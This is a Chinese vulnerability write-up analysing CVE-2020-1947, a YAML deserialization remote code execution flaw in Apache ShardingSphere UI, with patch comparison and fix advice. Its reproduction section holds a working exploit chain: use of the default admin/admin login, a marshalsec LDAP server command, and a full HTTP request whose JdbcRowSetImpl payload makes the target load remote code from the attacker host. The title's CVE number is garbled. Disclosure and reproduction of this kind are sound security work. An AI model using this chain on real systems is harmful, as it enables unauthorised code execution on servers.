CVE--1947_Apache_ShardingSphere UI YAML 解析远程代码执行漏洞
作者:Ja0k@SecurityCN
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:paper@seebug.org
一、事件背景
近日,Apache官方发布了ShardingSphere 新版本修复了一个YAML解析导致的远程代码执行漏洞(CVE-2020-1947)。
Apache ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈,它由Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar(规划中)这3款相互独立,却又能够混合部署配合使用的产品组成。它们均提供标准化的数据分片、分布式事务和数据库治理功能,可适用于如Java同构、异构语言、云原生等各种多样化的应用场景。
二、漏洞信息
漏洞名称 | Apache ShardingSphere UI YAML解析远程代码执行漏洞 |
---|---|
CVE编号 | CVE-2020-1947 |
影响范围 | Apache ShardingSphere UI <= 4.0.1 |
威胁等级 | 高危 |
公开时间 | 2020年3月10日 |
三、漏洞分析
补丁对比
https://github.com/apache/incubator-shardingsphere/releases
通过4.0.1 版本的change-log 中的Enhancement 可以看到添加了一个类过滤器构造函数以限制来自YAML的非法类。
incubator-shardingsphere-4.0.1\sharding-core\sharding-core-common\src\main\java\org\apache\shardingsphere\core\yaml\engine\ClassFilterConstructor.java
public final class ClassFilterConstructor extends Constructor { private final Collection<Class<?>> acceptClasses;
@Override
protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
for (Class<? extends Object> each : acceptClasses) {
if (name.equals(each.getName())) {
return super.getClassForName(name);
}
}
throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
}
}
添加了一个白名单类acceptClasses列表用for each进行遍历,其他危险的类调用将会被拒绝,如本次Poc中的调用类JdbcRowSetImpl
再看4.0.0 版本中
src/main/java/org/apache/shardingsphere/ui/util/ConfigurationYamlConverter.java 直接使用unmarshal方法对输入的YAML直接进行解析,没有做校验。那么就可以参考Fastjson的反序列化漏洞,通过com.sun.rowset.JdbcRowSetImpl类远程调用来进行JNDI注入。
漏洞触发点就是YAML
四、漏洞复现
搭建 Apache ShardingSphere UI环境
1.github下载的 Apache ShardingSphere UI 需要编译之后使用
编译过程#wget -c https://github.com/apache/incubator-shardingsphere/archive/4.0.0.tar.gz
#cd incubator-shardingsphere/shrding-ui/
#mvn clean package -Prelease
Get the package in shardingsphere-ui/shardingsphere-ui-distribution/shardingsphere-ui-bin-distribution/target/apache-shardingsphere-incubating-${latest.release.version}-shardingsphere-ui-bin.tar.gz
2.也可以在官网下载Linux版本二进制程序包 (建议大家用此方法)
https://shardingsphere.apache.org/document/current/cn/downloads/
下载地址:
解压:
tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
sharding-ui是一个标准的springboot程序,可以通过conf/application.properties配置相关信息
可以看到默认监听 8088 端口,默认管理员口令为 admin/admin (生产环境建议修改密码)
进入程序目录运行启动程序
bin/start.sh
通过浏览器访问8088端口
使用默认口令即可登录成功
添加1个注册中心 Zookeeper
注意:这里不一定需要搭建Zookeeper,只有填入一个地址即可(不能填写127.0.0.1,否则报错)
如果想搭建可以参考教程https://www.jianshu.com/p/a5fda39f20d0
使用Poc进行验证
1.构造Exp并编译
ExportObject.java
将ExportObject.java编译javac ExportObject.java
2.启动HTTPserver
在ExportObject.class当前目录打开终端中执行python -m SimpleHTTPServer
启动Httpserver,地址为
3.利用marshalsec工具启用ldap或rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.80.1:8000//#ExportObject
4.发送Poc 触发YAML
完整请求
POST /api/schema HTTP/1.1Host: 192.168.80.138:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0L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lLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19
Content-Type: application/json;charset=utf-8
Referer: http://192.168.80.138:8088/
Connection: close
Content-Length: 598
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://192.168.80.1:1389/ExportObject\n autoCommit: true"
}
注意:Access-Token 要改为当前登录shardingsphere UI的token
查看服务器发现/tmp/CVE-2020-1947 文件
touch命令执行成功
四、修复建议
官方已经发布新版本
https://github.com/apache/incubator-shardingsphere/releases
参考链接
以上是 CVE--1947_Apache_ShardingSphere UI YAML 解析远程代码执行漏洞 的全部内容, 来源链接: utcz.com/p/199542.html